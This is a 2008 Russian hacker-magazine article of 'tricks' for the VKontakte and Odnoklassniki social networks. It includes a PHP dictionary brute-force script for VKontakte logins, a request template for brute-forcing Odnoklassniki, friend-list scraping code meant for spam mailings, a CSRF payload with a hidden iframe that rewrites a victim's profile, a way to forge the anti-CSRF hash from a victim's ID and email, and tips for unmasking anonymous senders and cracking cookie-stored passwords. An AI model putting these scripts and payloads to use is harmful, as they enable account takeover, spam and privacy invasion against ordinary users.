Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 119, НОЯБРЬ 2008 г.

Фокусы в социальных сетях. Хакерские фишки «Вконтакте» и «Одноклассников»

Андрей Комаров / komarov@gameland.ru /




Где бы ты ни смотрел в монитор, будь то веб-зона гостиницы, аудитория в университете, обычный офис или просто дома у соседа, ты практически везде увидишь до боли знакомые интерфейсы «Вконтакте» и «Одноклассников». Люди подсели — и подсели серьезно. Обновить профиль и выложить фотки сможет даже твоя бабушка, а вот некоторые триксы пока доступны лишь избранным. Итак, вникай.

Трик 1: Подбираем пароль пользователя vkontakte.ru

Если раньше самым частым вопросом было «Как взломать почтовый ящик», то теперь новый тренд — каждый считает своим долгом подобрать пароль на профиль своей подруги/девушки/соседа (нужное подчеркнуть). А поскольку большинство пользователей социальных сетей знакомы с компьютерами лишь издалека, то и не особо заморачиваются, выставляя пароль. «1234» или свое имя — это вполне стандартная ситуация. Что ж тут удивляться, что подобрать (тьфу, конечно же, восстановить забытый) пароль во многих случаях оказывается не просто, а очень просто. И быстро. Собственно, не нужно даже каких-то специальных утилит. Вполне достаточно простенького PHP-скрипта. Начинаем с установки параметров брутфорса:

$email = 'billygates@microsoft.com';
# Мыло для брута
$passw = '1234567';
# Пасс для брута
$dict = @file("dictionary.txt");
# Файл со словарем паролей или мыл
$type= 2;
# Тип атаки 1 — на одно мыло по словарю паролей, 2 — на
один пароль по словарю мыл
$result = "password.txt";
# Файл с найденным паролем
$user_agent = "Opera/9.50 (Windows NT 6.0; U; ru)";
# User-agent

Далее пишем простую функцию для осуществления попытки входа. Скрипт основан на нехитром способе авторизации — с помощью отправки GET-запроса по ссылке вида: vkontakte.ru/login. php?email=XXX&pass=XXX.

function brute($email,$pass) {
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
$out = "GET /login.php?email=".$email."&pass=".$pass.
" HTTP/1.0rn";
$out .= "Host: vkontakte.rurn";
$out .= "User-Agent: $user_agentrn";
$out .= "Cookie: income=1rn";
$out .= "Content-Type:text/xml; charset=windows-1251
rnrn";
fwrite($fp,$out);
$ans=' ';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
fclose($fp);
if(preg_match("/b302 Foundb/is", $ans))
return true;
else return false;
}

Если идет подбор по словарю, эту функцию нужно вызвать столько раз, сколько возможных вариантов в словаре с пассами. Или для каждого email’а из базы, если речь о попытке войти с распространенным паролем (например, 123456). В целях экономии, этот простой код я не привожу, но полную версию скрипта ты можешь найти в приложении на диске.

Трик 2: Подбираем пароль пользователя на «Одноклассниках»

Если немного покорпеть, то не составит труда написать подобный брутфорус и для другого, не менее популярного, сервиса — odnoklassniki.ru. Однако используемый в нем подход для авторизации сильно отличается. Вместо GET, используются POST-запросы вида:

$data = "st.posted=set&st.email=$acc&st.
password=$pass&button_go=%D0%92%D0%BE%D0%B9%
D1%82%D0%B8";
$re = "POST http://w17.odnoklassniki.
ru/cdk/st.cmd/login/tkn/5622 HTTP/1.1
nHost: w17.odnoklassniki.run"."User-
Agent: Mozilla/4.0 (compatible; MSIE 7.0b1;
Windows NT 5.1; SV1; .NET CLR 1.1.4322;
MS IdentiServ 1.4.12)nKeep-Alive: 300
n"."Connection: keep-alivenReferer:
http://w17.odnoklassniki.run"."Content-
Type: application/x-www-form-urlencoded
n"."Content-Length: $lennn$data";

Запрос осуществляется на 80 порт, но есть один важный нюанс. Дело в том, что odnoklassniki.ru специальным образом распределяют запросы, балансируя нагрузку. Видишь адрес w17.odnoklassniki.ru? Так вот, в данном случае запрос уходит на некоторый w17-сервер. В общем виде параметр wXX (где xx — некоторые цифры) часто обновляется: осуществляя множество попыток авторизации, необходимо отнестись к этому крайне внимательно.

Трик 3: Невидимость при серфинге Vkontakte.ru

Просмотрев страницу пользователя в «Одноклассниках», ты обязательно оставляешь след — владелец профиля узнает, кто и когда им интересовался. Отличный способ монетизации: не хочешь палиться — плати денежку. «Вконтакте» такую систему не практикует, поэтому просматривать страницы друзей и подружек можно, сколько влезет, не опасаясь за свое инкогнито. Другое дело, что иногда хочется заходить на сайт незаметно: так, чтобы другие не заметили твоего появления (а это выдает окно «Друзья онлайн» и информация о твоем профиле). Впрочем, остаться невидимым можно. Для осуществления нехитрой операции необходимо поправить специальный параметр в браузере, который отвечает за количество одновременных соединений для указанного узла. Проще всего это сделать в Mozilla Firefox, воспользовавшись служебной страницей для тонкой настройки браузера. Для этого в адресной строке набираем about:config, после чего с помощью поля filter вводим названия нужного параметра — network.http.redirection-limit. Теперь вместо внушительного списка всевозможных настроек мы видим только то, что нужно. Нехитрым образом меняем его значение на 0 (тем самым запрещая обрабатывать переадресации). Открываем новую вкладку (<Ctrl+T>), грузим страницу входа http://vkontakte.ru/login.php и логинимся. Вылезет ошибка, но так и должно быть. Далее — переходим на какую-нить другую страницу, например — http://vkontakte.ru/friend.php. После этого необходимо вновь открыть вкладку с настройками и изменить значение параметра network.http.redirection-limit на дефолтное (обычно — 20). Готово! Теперь ты в инвизе для своих друзей, однако тебе придется тщательно обходить стороной ссылки, содержащие в адресе «profile.php».

Трик 4: Им портируем дни рождения из vkontakte

За что я люблю «Контакт», так это за базу дней рождений большинства своих знакомых. Уверен, что и у тебя друзья вполне прогрессивные и, если даже не пользуются сервисом, то, по меньшей мере, завели в нем аккаунт, указав свой день рождения. Ежедневно заходить на этот ресурс, чтобы прочекать радостные события, у меня нет возможности, поэтому очень хорошо было бы их оттуда экспортировать. Наш читатель — Nizamov <nizamov@inbox.ru> — написал специальный скрипт, позволяющий быстро и без проблем выполнить подобную операцию. Скачать его можно по адресу: http://code.google.com/p/gangsta-geek/source/browse/trunk/vk_calendar_bat_ics.pl. В скрипте требуется указать только мыло и пасс. По завершении события сохраняются в файл ics, который лично я импортировал в Thunderbird’a с плагином lightning. Выглядит это примерно следующим образом:

Формат выходного файла
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Mozilla.org/NONSGML Mozilla
Calendar V1.1//EN
BEGIN:VEVENT
SUMMARY:ФИО
RRULE:FREQ=YEARLY;INTERVAL=1
DTSTART;VALUE=DATE:20080101
DTEND;VALUE=DATE:20080102
CATEGORIES:Дни рождения

URL:http://vkontakte.ru/id***
DESCRIPTION:Дата Рождения: 01.01.1986nФото:
http://***.vkontakte.ru/****/****.jpg
END:VEVENT
END:VCALENDAR

Трик 5: Как делают сетевой бизнес на социальных сетях

Хакеры научились зарабатывать на самых различных темах, в том числе и с помощью социалок. Прежде всего, это спам адвердами, воровство аккаунтов за деньги, массовая регистрация. Отдача от первого — большая, хотя скудеет с каждым днем, потому что людей, осознавших тему, становится все больше. В качестве программных комплексов для спама самыми популярными стали Vkontakte Messeger by DX и один из альтернативных спаммеров — Qspammer by Chaak. А вообще, таких тулз огромное количество и многим самим под силу реализовать подобный инструмент. Попробуем? Сейчас на паре примеров мы модулями накидаем софтину, которая очень сильно должна помочь в нашей опасной работе. Она должна уметь работать с группами; грабить друзей пользователя с заданным ID; грабить пользователей группы и рассылать сообщения. Делается это для того, чтобы производить контекстную рассылку, опираясь на группы. Полный скрипт мы выкладывать не будем, но приведем ключевые моменты. Получить список френдов можно так:

function GetFrUsers($cookie,$vksess,$st) {
if ($st==0)
$uri =
"http://vkontakte.ru/friend.php?$vksess&st=$st";
else
$uri = "http://vkontakte.ru/friend.php?$vksess";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $uri);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
setProxy($ch);
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
curl_close($ch);
preg_match_all("#<a href="mail.php
?act=write&to=(.*?)">#", $result, $m);
echo "My Friends--------------------n";
for ($i=0;$i<count($m[1]);$i++) {
echo "UserID - ".$m[1][$i]."n";
}
}

Все остальные части скрипта, а именно поиск пользователей по группам и функция для отправки сообщений в полном виде выложены на нашем DVD.

Трик 6: Немного о проведении CSRF-атак

С помощью специально сформированной страницы и кода на ней злоумышленники научились отправлять пользователя на доверенный сайт, где этот код исполнит за него какие-либо действия. Подобные атаки называются Cross-site request forgery (CSRF) и особенно характерны для социальных сетей из-за недостаточной проверки подлинности HTTP-запросов. Не так давно в лентах багтрак был пост об обнаружении такого бага на сервисе vkontakte.ru. Ты впариваешь этот линк или исполняешь средствами JS, и у пользователя в профиле поле «Сайт» меняется на указанный:

http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://site.com

Или другой пример. При переходе на сайт, указанный в качестве вебстраницы дорогого друга-пользователя, твой браузер исполняет скрипт

<script>
function doit() {
var html;
html = '<img src=http://vkontakte.ru/profileEdit.php?p
age=contacts&subm=1&website=http://zloysite.com>';
window.frames["frm"].document.body.innerHTML = html; }
</script>
<iframe name="frm» onload="doit()" width="0"
height="0"></iframe>

Как видно, запрашивается картинка с адресом vkontakte.ru/ profileEdit.php?page=contacts&subm=1&website=http://zloysite.com. Браузер выполняет запрос по этому URL, и на анкете в vkontakte твое поле «Веб-сайт» станет равным zloysite.com. Теперь, если кто-нибудь увидит адрес в твоем профиле и также перейдет по нему, то... изменит себе профайл и т.д., и т. п. Хотя в настоящий момент подобная штука не пройдет. По крайней мере, так просто: разработчики включили в передачу запроса дополнительный параметр HASH, который фигурирует в каждом запросе при изменении персональных данных. Получается линк следующего вида:

img src=http://vkontakte.ru/profileEdit.php?page=conta
cts&hash=dasd23&subm=1&website=http://zloysite.com>';

Хэш требуется узнать предварительно, — и можно делать такие фокусы. А как его узнать? Раньше это был md5 от (id+mail), но сейчас значение урезано до 6 байт. Соответственно, нужно знать мыло жертвы, и тогда получаем следующий нехитрый алгоритм:

  1. ты знаешь ID;
  2. знаешь мыло;
  3. вычисляешь md5 и урезаешь хэш-сумму до 6 элементов;
  4. подставляешь в запрос и выполняешь.

Трик 7: Как узнать, кто оставил мнение

«Вконтакте» довольно популярна система «Мнения», позволяющая анонимно оставлять сообщения. И каждый пользователь может отправить ответ на мессагу, не зная, кому ее отправляет. Узнать, кто же оставил о тебе лестный или, наоборот, не очень приятный отзыв, очень просто. Необходимо вставить в ответное сообщение http://vkontakte.ru/matches.php?act=a_sent&to_id=[Твой ID]&dec=1. Теперь человек, переходя по ссылке, автоматически отвечает на твое предложение!

Трик 8: Улучшаем интерфейс с помощью Greasemonkey

Существует много скриптов Greasemonkey, позволяющих обновить интерфейс социальных сетей. В частности, vkPatch — небольшой скрипт для GreaseMonkey под сайт «Вконтакте». Скрипт добавляет ссылки на Стену, Мнения, Фотографии, Видео и т.д. рядом с пользователями, страничка которых удалена или открыта только для друзей. Если пользователь не является твоим другом, то, возможно, будут недоступны некоторые ссылки, однако, скорее всего, ты сможешь посмотреть фотоальбом этого человека или послушать его музыку. Ссылки на разделы появляются рядом с человеком в результатах поиска, то есть на http://vkontakte.ru/search.php?id=1 , где после id= идет id человека. Эта страничка показывается, если ты кликнул на имени человека, страница которого удалена или у тебя нет к ней доступа.

Трик 9: Восстанавливаем пароль из кукисов

Сохраненный пароль можно откопать и в кукисах, а чтобы не делать это вручную, пригодится тулза VKontakte Cookie Password Recovery. Она автоматически находит cookies сайта «Вконтакте» в установленных Internet Explorer, Firefox, Opera, Safari и пытается вытащить из них пароль путем поиска соответствующего MD5-хэша пароля в онлайн-базах gdataonline.com и passcracking.ru. Программа использует собственный механизм «извлечения» информации из файлов cookies всех указанных браузеров, что не всегда гарантирует 100% результат при их анализе (исправляется по мере поступления информации о найденных багах), но зато работает очень быстро.

Содержание
ttfb: 34.589052200317 ms